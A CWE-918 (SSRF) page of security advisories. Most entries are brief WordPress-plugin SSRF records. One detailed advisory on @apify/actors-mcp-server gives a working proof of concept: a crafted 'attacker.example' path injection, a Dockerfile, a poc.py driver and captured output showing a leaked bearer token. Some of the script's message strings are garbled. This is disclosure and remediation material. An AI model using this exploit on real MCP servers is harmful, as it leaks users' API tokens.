CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4714 vulnerabilities reference this CWE, most recent first.
GHSA-6G4H-JGH3-VXWJ
Vulnerability from github – Published: 2022-09-27 00:00 – Updated: 2022-09-29 00:00The Post SMTP Mailer/Email Log WordPress plugin before 2.1.7 does not have proper authorisation in some AJAX actions, which could allow high privilege users such as admin to perform blind SSRF on multisite installations for example.
{
"affected": [],
"aliases": [
"CVE-2022-2352"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-26T13:15:00Z",
"severity": "HIGH"
},
"details": "The Post SMTP Mailer/Email Log WordPress plugin before 2.1.7 does not have proper authorisation in some AJAX actions, which could allow high privilege users such as admin to perform blind SSRF on multisite installations for example.",
"id": "GHSA-6g4h-jgh3-vxwj",
"modified": "2022-09-29T00:00:24Z",
"published": "2022-09-27T00:00:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2352"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/dc99ac40-646a-4f8e-b2b9-dc55d6d4c55c"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6GFM-9HQW-FJHJ
Vulnerability from github – Published: 2025-03-07 09:30 – Updated: 2025-03-07 09:30The Platform.ly for WooCommerce plugin for WordPress is vulnerable to Blind Server-Side Request Forgery in all versions up to, and including, 1.1.6 via the 'hooks' function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2024-13904"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-07T09:15:15Z",
"severity": "MODERATE"
},
"details": "The Platform.ly for WooCommerce plugin for WordPress is vulnerable to Blind Server-Side Request Forgery in all versions up to, and including, 1.1.6 via the \u0027hooks\u0027 function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
"id": "GHSA-6gfm-9hqw-fjhj",
"modified": "2025-03-07T09:30:35Z",
"published": "2025-03-07T09:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13904"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/platformly-for-woocommerce/trunk/platformly-for-woocommerce.php#L167"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3249460"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/944e4c96-6ded-4483-9eaf-d976646f45ea?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6GJR-G247-WX36
Vulnerability from github – Published: 2025-01-31 09:31 – Updated: 2026-04-01 18:33Server-Side Request Forgery (SSRF) vulnerability in NotFound Oshine Modules. This issue affects Oshine Modules: from n/a through n/a.
{
"affected": [],
"aliases": [
"CVE-2024-44055"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-31T09:15:07Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in NotFound Oshine Modules. This issue affects Oshine Modules: from n/a through n/a.",
"id": "GHSA-6gjr-g247-wx36",
"modified": "2026-04-01T18:33:30Z",
"published": "2025-01-31T09:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-44055"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/oshine-modules/vulnerability/wordpress-oshine-modules-plugin-3-3-6-unauthenticated-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6GR2-QH89-HXWM
Vulnerability from github – Published: 2026-07-01 22:02 – Updated: 2026-07-01 22:02Actor MCP path authority injection leaks Apify token
Summary
@apify/actors-mcp-server version 0.10.7 builds Actor standby URLs by directly concatenating a trusted base URL with an attacker-controlled webServerMcpPath value taken from an Actor definition returned by the Apify API. An attacker who publishes a malicious Actor with a crafted webServerMcpPath (e.g., @attacker.example/mcp) can cause the MCP client to resolve the final URL to an entirely different host. Because the MCP client unconditionally attaches the victim's Authorization: Bearer <APIFY_TOKEN> header to every outbound connection, the victim's Apify API token is exfiltrated to the attacker's server. CVSS Base Score: 8.1 (High).
Details
getActorMCPServerURL() in src/mcp/actors.ts:44 constructs the Actor standby MCP URL by naive string concatenation:
// src/mcp/actors.ts:44
return `${standbyUrl}${mcpServerPath}`;
mcpServerPath originates from the webServerMcpPath field of an Actor definition fetched from the Apify API (src/utils/actor.ts:24-28). The field is trimmed and comma-split in getActorMCPServerPath() (src/mcp/actors.ts:14-20) but is never validated to:
- begin with a
/(relative path), - avoid an
@character (userinfo/authority injection), or - resolve to the same origin as
standbyUrl.
When webServerMcpPath is set to @attacker.example/mcp, the concatenated result becomes:
https://real-actor-id.apify.actor@attacker.example/mcp
Node.js's WHATWG URL parser treats everything before @ as userinfo and extracts attacker.example as the hostname. This is not an edge-case browser behavior — it is specified by RFC 3986 and the WHATWG URL standard.
The constructed URL is forwarded to connectMCPClient() through three independent code paths:
| Call site | Trigger |
|---|---|
src/tools/core/call_actor_common.ts:317 |
call-actor MCP tool |
src/utils/actor_details.ts:155 |
fetch-actor-details MCP tool |
src/mcp/server.ts:1047 |
actor-mcp type tool loading |
connectMCPClient() (src/mcp/client.ts) attaches the victim's Apify token as a bearer credential to every transport type:
// src/mcp/client.ts:94 — SSEClientTransport requestInit
authorization: `Bearer ${token}`,
// src/mcp/client.ts:103 — SSE fetch callback
headers.set('authorization', `Bearer ${token}`);
// src/mcp/client.ts:124 — StreamableHTTPClientTransport requestInit
authorization: `Bearer ${token}`,
There is no origin check anywhere between URL construction and the outbound HTTP request.
Full data-flow chain:
src/mcp/server.ts:811— MCPtools/callrequest parameters are read.src/mcp/server.ts:816—apifyTokenis resolved from_meta.apifyToken, server options, orprocess.env.APIFY_TOKEN.src/tools/core/call_actor_common.ts:489-497— attacker-controlledactoridentifier is resolved viagetActorMcpUrlCached().src/utils/actor.ts:24-28— Actor definition is fetched from the Apify API;webServerMcpPathis passed togetActorMCPServerURL().src/mcp/actors.ts:14-20—webServerMcpPathis trimmed and split; first element is returned without path validation.src/mcp/actors.ts:44—standbyUrl + mcpServerPathproduces an authority-injected URL.connectMCPClient()is called with the injected URL and the victim's token.src/mcp/client.ts:94/103/124—Authorization: Bearer <APIFY_TOKEN>is sent to the attacker's host.
PoC
Environment requirements:
- Docker (network-isolated container; no external network access needed)
- The repository at commit
4e2b185checked out under the build context
Build and run:
# Build the exploit image (from the mcp_38_apify__actors-mcp-server/ context directory)
docker build -t vuln-001-poc \
-f vuln-001/Dockerfile \
/path/to/mcp_38_apify__actors-mcp-server
# Run the exploit (--network none: fully air-gapped)
docker run --rm --network none vuln-001-poc
The Dockerfile:
1. Generates a self-signed TLS certificate for 127.0.0.1 (IP SAN required for Node.js TLS validation).
2. Installs @apify/actors-mcp-server@0.10.7 dependencies under pnpm.
3. Sets NODE_EXTRA_CA_CERTS so Node.js trusts the self-signed CA.
4. Runs exploit.mjs, which:
- Starts an HTTPS capture server on 127.0.0.1:31337.
- Constructs a webServerMcpPath of @127.0.0.1:31337/mcp.
- Calls getActorMCPServerURL() directly, producing https://apify~hello-world.apify.actor@127.0.0.1:31337/mcp.
- Calls connectMCPClient() with a simulated victim token (apify_api_VICTIM_SECRET_TOKEN_DEMO_12345).
- Asserts that the capture server received Authorization: Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345.
Observed output (Phase 2 evidence):
parsed.hostname : 127.0.0.1
[PASS] URL injection confirmed: request will be sent to 127.0.0.1:31337
=== STEP 2: attacker HTTPS server received request ===
Authorization : Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345
=== RESULT: EXPLOIT SUCCESSFUL ===
[PROOF] Victim token "Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345" arrived at attacker server 127.0.0.1:31337
Alternative MCP request path (real-world scenario):
A victim running @apify/actors-mcp-server connected to an MCP host sends the following request, where attacker/malicious-mcp is an Actor published with webServerMcpPath = "@attacker.example/mcp":
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "fetch-actor-details",
"arguments": {
"actor": "attacker/malicious-mcp",
"output": { "mcpTools": true }
},
"_meta": { "mcpSessionId": "poc-session" }
}
}
The attacker's server at attacker.example receives:
Authorization: Bearer apify_api_victim_token
URL parser primitive (Node.js REPL verification):
node -e "const u=new URL('https://ABC.apify.actor@127.0.0.1:31337/mcp'); console.log(u.hostname, u.username)"
# Output: 127.0.0.1 ABC.apify.actor
Recommended fix:
--- a/src/mcp/actors.ts
+++ b/src/mcp/actors.ts
export async function getActorMCPServerURL(realActorId: string, mcpServerPath: string): Promise<string> {
const standbyUrl = await getActorStandbyURL(realActorId, standbyBaseUrl);
- return `${standbyUrl}${mcpServerPath}`;
+ const url = new URL(mcpServerPath, `${standbyUrl}/`);
+ if (url.origin !== standbyUrl) {
+ throw new Error('Actor MCP server path must resolve under the Actor standby URL');
+ }
+ url.username = '';
+ url.password = '';
+ return url.toString();
}
Impact
Any user of @apify/actors-mcp-server who:
- has an Apify API token configured (via
APIFY_TOKEN, server options, or_meta.apifyToken), and - is induced to invoke
call-actor,fetch-actor-details, or any actor-mcp type tool against an attacker-controlled Actor,
will have their Apify API token silently exfiltrated to the attacker's server. The Apify API token grants full access to the victim's Apify account, including running and managing Actors, accessing stored data, and incurring compute charges. The attack requires no special privileges on the victim's side and no code execution on the victim's machine — only a crafted Actor definition on the Apify platform.
This is a Server-Side Request Forgery (SSRF) / URL authority injection vulnerability. The attacker redirects the MCP client's outbound connection to an arbitrary host while the client continues to send the victim's credential.
Reproduction artifacts
Dockerfile
FROM node:24-slim
# ─── system packages ───────────────────────────────────────────────────────────
RUN apt-get update && apt-get install -y --no-install-recommends openssl python3 \
&& rm -rf /var/lib/apt/lists/*
# ─── self-signed TLS cert for the attacker capture server (127.0.0.1) ─────────
# IP SAN required: Node.js rejects certs without SAN matching the requested hostname.
RUN mkdir /certs && \
openssl req -x509 -newkey rsa:2048 \
-keyout /certs/key.pem -out /certs/cert.pem \
-days 1 -nodes \
-subj '/CN=127.0.0.1' \
-addext 'subjectAltName=IP:127.0.0.1' \
2>/dev/null
# ─── vulnerable package ────────────────────────────────────────────────────────
WORKDIR /app
COPY repo/ ./
# pnpm@11 is pinned in devEngines; npm/yarn refuse to run inside this checkout.
RUN npm install -g pnpm@11.1.3 --quiet 2>/dev/null
# Install only production deps — build output not needed; exploit imports from source via tsx.
# --frozen-lockfile validates the lockfile is up-to-date with package.json.
RUN pnpm install --frozen-lockfile
# ─── exploit files ─────────────────────────────────────────────────────────────
COPY vuln-001/exploit.mjs /exploit.mjs
# Trust our self-signed CA so both undici/fetch and node:https accept TLS connections to 127.0.0.1.
ENV NODE_EXTRA_CA_CERTS=/certs/cert.pem
CMD ["node", "/exploit.mjs"]
poc.py
#!/usr/bin/env python3
"""
VULN-001 dynamic PoC driver.
Builds the Docker image, runs the exploit container, collects observable evidence,
and writes phase2_result.json with the outcome.
"""
import json
import os
import subprocess
import sys
import textwrap
# ─── paths ────────────────────────────────────────────────────────────────────
THIS_DIR = os.path.dirname(os.path.abspath(__file__)) # vuln-001/
CONTEXT_DIR = os.path.dirname(THIS_DIR) # mcp_38_apify__actors-mcp-server/
DOCKERFILE = os.path.join(THIS_DIR, 'Dockerfile')
RESULT_PATH = os.path.join(THIS_DIR, 'phase2_result.json')
IMAGE_TAG = 'vuln-001-poc'
BUILD_CMD = ['docker', 'build', '-t', IMAGE_TAG, '-f', DOCKERFILE, CONTEXT_DIR]
RUN_CMD = ['docker', 'run', '--rm', '--network', 'none', IMAGE_TAG]
def run(cmd, *, timeout, **kwargs):
return subprocess.run(cmd, capture_output=True, text=True, timeout=timeout, **kwargs)
def write_result(payload: dict):
with open(RESULT_PATH, 'w') as f:
json.dump(payload, f, indent=2, ensure_ascii=False)
print(f'\n[*] phase2_result.json write complete: {RESULT_PATH}')
def main():
print('=' * 70)
print('VULN-001 dynamic reproduction — Actor MCP path authority injection')
print('=' * 70)
# ── 1. Docker build ───────────────────────────────────────────────────────
print(f'\n[1/2] building Docker image...')
print(f' command: {" ".join(BUILD_CMD)}')
build = run(BUILD_CMD, timeout=600)
if build.returncode != 0:
msg = build.stderr[-2000:] if build.stderr else build.stdout[-2000:]
print('[!] build failed:\n', msg)
write_result({
'passed': False,
'verdict': 'FAIL',
'reason': f'Docker build failed. error: {msg[:500]}',
'build_command': ' '.join(BUILD_CMD),
'run_command': ' '.join(RUN_CMD),
'poc_command': f'python3 {os.path.relpath(__file__)}',
'evidence': msg[:1000],
'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
})
sys.exit(1)
print('[+] build succeeded')
# ── 2. Docker run ─────────────────────────────────────────────────────────
print(f'\n[2/2] text while running the container...')
print(f' command: {" ".join(RUN_CMD)}')
try:
run_result = run(RUN_CMD, timeout=120)
except subprocess.TimeoutExpired:
write_result({
'passed': False,
'verdict': 'INCOMPLETE',
'reason': 'container execution 120seconds timeout. text text or TLS handshake issuetext can exists.',
'build_command': ' '.join(BUILD_CMD),
'run_command': ' '.join(RUN_CMD),
'poc_command': f'python3 {os.path.relpath(__file__)}',
'evidence': 'timeout',
'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
})
sys.exit(1)
stdout = run_result.stdout
stderr = run_result.stderr
print('\n--- container stdout ---')
print(stdout)
if stderr:
print('--- container stderr (text 1000characters) ---')
print(stderr[:1000])
# ── 3. result verdict ──────────────────────────────────────────────────────────
passed = (
run_result.returncode == 0
and 'attacker HTTPS server received request' in stdout
and 'EXPLOIT SUCCESSFUL' in stdout
and 'apify_api_VICTIM_SECRET_TOKEN_DEMO_12345' in stdout
)
# Build evidence excerpt (key lines only)
evidence_lines = [l for l in stdout.splitlines()
if any(k in l for k in ['PASS', 'PROOF', 'received request',
'EXPLOIT', 'parsed.hostname', 'Authorization'])]
evidence = '\n'.join(evidence_lines[:20]) if evidence_lines else stdout[-1500:]
if passed:
print('\n[✓] PASS — token leak vulnerability dynamic reproduction success')
write_result({
'passed': True,
'verdict': 'PASS',
'reason': (
'Docker container withintext vulnerabilitytext fully reproductiondone. '
'actors.ts:44text `${standbyUrl}${mcpServerPath}` string text '
'`@127.0.0.1:31337/mcp` formtext mcpServerPathtext textdo '
'`https://apify~hello-world.apify.actor@127.0.0.1:31337/mcp` URLtext createand, '
'Node.js URL text hostnametext 127.0.0.1(attacker server)text dotextdo '
'client.ts:94text `Authorization: Bearer <APIFY_TOKEN>` headertext attacker HTTPS servertext beforetextdone.'
),
'build_command': ' '.join(BUILD_CMD),
'run_command': ' '.join(RUN_CMD),
'poc_command': f'python3 poc.py',
'evidence': evidence,
'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
})
else:
reason_detail = ''
if run_result.returncode != 0:
reason_detail = f'container exit code {run_result.returncode}. '
if 'TOKEN_CAPTURED' not in stdout:
reason_detail += 'attacker serverfrom token capture text textnot not. '
if 'EXPLOIT SUCCESSFUL' not in stdout:
reason_detail += 'final success message none. '
print(f'\n[✗] FAIL — {reason_detail}')
write_result({
'passed': False,
'verdict': 'FAIL',
'reason': f'failed to reproduce the vulnerability. {reason_detail}stderr: {stderr[:300]}',
'build_command': ' '.join(BUILD_CMD),
'run_command': ' '.join(RUN_CMD),
'poc_command': f'python3 poc.py',
'evidence': stdout[-2000:] + ('\nSTDERR: ' + stderr[:500] if stderr else ''),
'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
})
sys.exit(1)
if __name__ == '__main__':
main()
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@apify/actors-mcp-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.10.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50143"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-01T22:02:15Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Actor MCP path authority injection leaks Apify token\n\n### Summary\n\n`@apify/actors-mcp-server` version `0.10.7` builds Actor standby URLs by directly concatenating a trusted base URL with an attacker-controlled `webServerMcpPath` value taken from an Actor definition returned by the Apify API. An attacker who publishes a malicious Actor with a crafted `webServerMcpPath` (e.g., `@attacker.example/mcp`) can cause the MCP client to resolve the final URL to an entirely different host. Because the MCP client unconditionally attaches the victim\u0027s `Authorization: Bearer \u003cAPIFY_TOKEN\u003e` header to every outbound connection, the victim\u0027s Apify API token is exfiltrated to the attacker\u0027s server. CVSS Base Score: **8.1 (High)**.\n\n### Details\n\n`getActorMCPServerURL()` in `src/mcp/actors.ts:44` constructs the Actor standby MCP URL by naive string concatenation:\n\n```ts\n// src/mcp/actors.ts:44\nreturn `${standbyUrl}${mcpServerPath}`;\n```\n\n`mcpServerPath` originates from the `webServerMcpPath` field of an Actor definition fetched from the Apify API (`src/utils/actor.ts:24-28`). The field is trimmed and comma-split in `getActorMCPServerPath()` (`src/mcp/actors.ts:14-20`) but is never validated to:\n\n- begin with a `/` (relative path),\n- avoid an `@` character (userinfo/authority injection), or\n- resolve to the same origin as `standbyUrl`.\n\nWhen `webServerMcpPath` is set to `@attacker.example/mcp`, the concatenated result becomes:\n\n```\nhttps://real-actor-id.apify.actor@attacker.example/mcp\n```\n\nNode.js\u0027s WHATWG URL parser treats everything before `@` as userinfo and extracts `attacker.example` as the hostname. This is not an edge-case browser behavior \u2014 it is specified by RFC 3986 and the WHATWG URL standard.\n\nThe constructed URL is forwarded to `connectMCPClient()` through three independent code paths:\n\n| Call site | Trigger |\n|---|---|\n| `src/tools/core/call_actor_common.ts:317` | `call-actor` MCP tool |\n| `src/utils/actor_details.ts:155` | `fetch-actor-details` MCP tool |\n| `src/mcp/server.ts:1047` | actor-mcp type tool loading |\n\n`connectMCPClient()` (`src/mcp/client.ts`) attaches the victim\u0027s Apify token as a bearer credential to every transport type:\n\n```ts\n// src/mcp/client.ts:94 \u2014 SSEClientTransport requestInit\nauthorization: `Bearer ${token}`,\n\n// src/mcp/client.ts:103 \u2014 SSE fetch callback\nheaders.set(\u0027authorization\u0027, `Bearer ${token}`);\n\n// src/mcp/client.ts:124 \u2014 StreamableHTTPClientTransport requestInit\nauthorization: `Bearer ${token}`,\n```\n\nThere is no origin check anywhere between URL construction and the outbound HTTP request.\n\n**Full data-flow chain:**\n\n1. `src/mcp/server.ts:811` \u2014 MCP `tools/call` request parameters are read.\n2. `src/mcp/server.ts:816` \u2014 `apifyToken` is resolved from `_meta.apifyToken`, server options, or `process.env.APIFY_TOKEN`.\n3. `src/tools/core/call_actor_common.ts:489-497` \u2014 attacker-controlled `actor` identifier is resolved via `getActorMcpUrlCached()`.\n4. `src/utils/actor.ts:24-28` \u2014 Actor definition is fetched from the Apify API; `webServerMcpPath` is passed to `getActorMCPServerURL()`.\n5. `src/mcp/actors.ts:14-20` \u2014 `webServerMcpPath` is trimmed and split; first element is returned without path validation.\n6. `src/mcp/actors.ts:44` \u2014 `standbyUrl + mcpServerPath` produces an authority-injected URL.\n7. `connectMCPClient()` is called with the injected URL and the victim\u0027s token.\n8. `src/mcp/client.ts:94/103/124` \u2014 `Authorization: Bearer \u003cAPIFY_TOKEN\u003e` is sent to the attacker\u0027s host.\n\n### PoC\n\n**Environment requirements:**\n\n- Docker (network-isolated container; no external network access needed)\n- The repository at commit `4e2b185` checked out under the build context\n\n**Build and run:**\n\n```bash\n# Build the exploit image (from the mcp_38_apify__actors-mcp-server/ context directory)\ndocker build -t vuln-001-poc \\\n -f vuln-001/Dockerfile \\\n /path/to/mcp_38_apify__actors-mcp-server\n\n# Run the exploit (--network none: fully air-gapped)\ndocker run --rm --network none vuln-001-poc\n```\n\nThe Dockerfile:\n1. Generates a self-signed TLS certificate for `127.0.0.1` (IP SAN required for Node.js TLS validation).\n2. Installs `@apify/actors-mcp-server@0.10.7` dependencies under `pnpm`.\n3. Sets `NODE_EXTRA_CA_CERTS` so Node.js trusts the self-signed CA.\n4. Runs `exploit.mjs`, which:\n - Starts an HTTPS capture server on `127.0.0.1:31337`.\n - Constructs a `webServerMcpPath` of `@127.0.0.1:31337/mcp`.\n - Calls `getActorMCPServerURL()` directly, producing `https://apify~hello-world.apify.actor@127.0.0.1:31337/mcp`.\n - Calls `connectMCPClient()` with a simulated victim token (`apify_api_VICTIM_SECRET_TOKEN_DEMO_12345`).\n - Asserts that the capture server received `Authorization: Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345`.\n\n**Observed output (Phase 2 evidence):**\n\n```\n parsed.hostname : 127.0.0.1\n[PASS] URL injection confirmed: request will be sent to 127.0.0.1:31337\n=== STEP 2: attacker HTTPS server received request ===\n Authorization : Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345\n=== RESULT: EXPLOIT SUCCESSFUL ===\n[PROOF] Victim token \"Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345\" arrived at attacker server 127.0.0.1:31337\n```\n\n**Alternative MCP request path (real-world scenario):**\n\nA victim running `@apify/actors-mcp-server` connected to an MCP host sends the following request, where `attacker/malicious-mcp` is an Actor published with `webServerMcpPath = \"@attacker.example/mcp\"`:\n\n```json\n{\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"fetch-actor-details\",\n \"arguments\": {\n \"actor\": \"attacker/malicious-mcp\",\n \"output\": { \"mcpTools\": true }\n },\n \"_meta\": { \"mcpSessionId\": \"poc-session\" }\n }\n}\n```\n\nThe attacker\u0027s server at `attacker.example` receives:\n\n```\nAuthorization: Bearer apify_api_victim_token\n```\n\n**URL parser primitive (Node.js REPL verification):**\n\n```\nnode -e \"const u=new URL(\u0027https://ABC.apify.actor@127.0.0.1:31337/mcp\u0027); console.log(u.hostname, u.username)\"\n# Output: 127.0.0.1 ABC.apify.actor\n```\n\n**Recommended fix:**\n\n```diff\n--- a/src/mcp/actors.ts\n+++ b/src/mcp/actors.ts\n export async function getActorMCPServerURL(realActorId: string, mcpServerPath: string): Promise\u003cstring\u003e {\n const standbyUrl = await getActorStandbyURL(realActorId, standbyBaseUrl);\n- return `${standbyUrl}${mcpServerPath}`;\n+ const url = new URL(mcpServerPath, `${standbyUrl}/`);\n+ if (url.origin !== standbyUrl) {\n+ throw new Error(\u0027Actor MCP server path must resolve under the Actor standby URL\u0027);\n+ }\n+ url.username = \u0027\u0027;\n+ url.password = \u0027\u0027;\n+ return url.toString();\n }\n```\n\n### Impact\n\nAny user of `@apify/actors-mcp-server` who:\n\n1. has an Apify API token configured (via `APIFY_TOKEN`, server options, or `_meta.apifyToken`), and\n2. is induced to invoke `call-actor`, `fetch-actor-details`, or any actor-mcp type tool against an attacker-controlled Actor,\n\nwill have their **Apify API token silently exfiltrated** to the attacker\u0027s server. The Apify API token grants full access to the victim\u0027s Apify account, including running and managing Actors, accessing stored data, and incurring compute charges. The attack requires no special privileges on the victim\u0027s side and no code execution on the victim\u0027s machine \u2014 only a crafted Actor definition on the Apify platform.\n\nThis is a **Server-Side Request Forgery (SSRF) / URL authority injection** vulnerability. The attacker redirects the MCP client\u0027s outbound connection to an arbitrary host while the client continues to send the victim\u0027s credential.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:24-slim\n\n# \u2500\u2500\u2500 system packages \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends openssl python3 \\\n \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\n# \u2500\u2500\u2500 self-signed TLS cert for the attacker capture server (127.0.0.1) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# IP SAN required: Node.js rejects certs without SAN matching the requested hostname.\nRUN mkdir /certs \u0026\u0026 \\\n openssl req -x509 -newkey rsa:2048 \\\n -keyout /certs/key.pem -out /certs/cert.pem \\\n -days 1 -nodes \\\n -subj \u0027/CN=127.0.0.1\u0027 \\\n -addext \u0027subjectAltName=IP:127.0.0.1\u0027 \\\n 2\u003e/dev/null\n\n# \u2500\u2500\u2500 vulnerable package \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nWORKDIR /app\nCOPY repo/ ./\n\n# pnpm@11 is pinned in devEngines; npm/yarn refuse to run inside this checkout.\nRUN npm install -g pnpm@11.1.3 --quiet 2\u003e/dev/null\n\n# Install only production deps \u2014 build output not needed; exploit imports from source via tsx.\n# --frozen-lockfile validates the lockfile is up-to-date with package.json.\nRUN pnpm install --frozen-lockfile\n\n# \u2500\u2500\u2500 exploit files \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nCOPY vuln-001/exploit.mjs /exploit.mjs\n\n# Trust our self-signed CA so both undici/fetch and node:https accept TLS connections to 127.0.0.1.\nENV NODE_EXTRA_CA_CERTS=/certs/cert.pem\n\nCMD [\"node\", \"/exploit.mjs\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 dynamic PoC driver.\n\nBuilds the Docker image, runs the exploit container, collects observable evidence,\nand writes phase2_result.json with the outcome.\n\"\"\"\nimport json\nimport os\nimport subprocess\nimport sys\nimport textwrap\n\n# \u2500\u2500\u2500 paths \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nTHIS_DIR = os.path.dirname(os.path.abspath(__file__)) # vuln-001/\nCONTEXT_DIR = os.path.dirname(THIS_DIR) # mcp_38_apify__actors-mcp-server/\nDOCKERFILE = os.path.join(THIS_DIR, \u0027Dockerfile\u0027)\nRESULT_PATH = os.path.join(THIS_DIR, \u0027phase2_result.json\u0027)\nIMAGE_TAG = \u0027vuln-001-poc\u0027\n\nBUILD_CMD = [\u0027docker\u0027, \u0027build\u0027, \u0027-t\u0027, IMAGE_TAG, \u0027-f\u0027, DOCKERFILE, CONTEXT_DIR]\nRUN_CMD = [\u0027docker\u0027, \u0027run\u0027, \u0027--rm\u0027, \u0027--network\u0027, \u0027none\u0027, IMAGE_TAG]\n\n\ndef run(cmd, *, timeout, **kwargs):\n return subprocess.run(cmd, capture_output=True, text=True, timeout=timeout, **kwargs)\n\n\ndef write_result(payload: dict):\n with open(RESULT_PATH, \u0027w\u0027) as f:\n json.dump(payload, f, indent=2, ensure_ascii=False)\n print(f\u0027\\n[*] phase2_result.json write complete: {RESULT_PATH}\u0027)\n\n\ndef main():\n print(\u0027=\u0027 * 70)\n print(\u0027VULN-001 dynamic reproduction \u2014 Actor MCP path authority injection\u0027)\n print(\u0027=\u0027 * 70)\n\n # \u2500\u2500 1. Docker build \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n print(f\u0027\\n[1/2] building Docker image...\u0027)\n print(f\u0027 command: {\" \".join(BUILD_CMD)}\u0027)\n build = 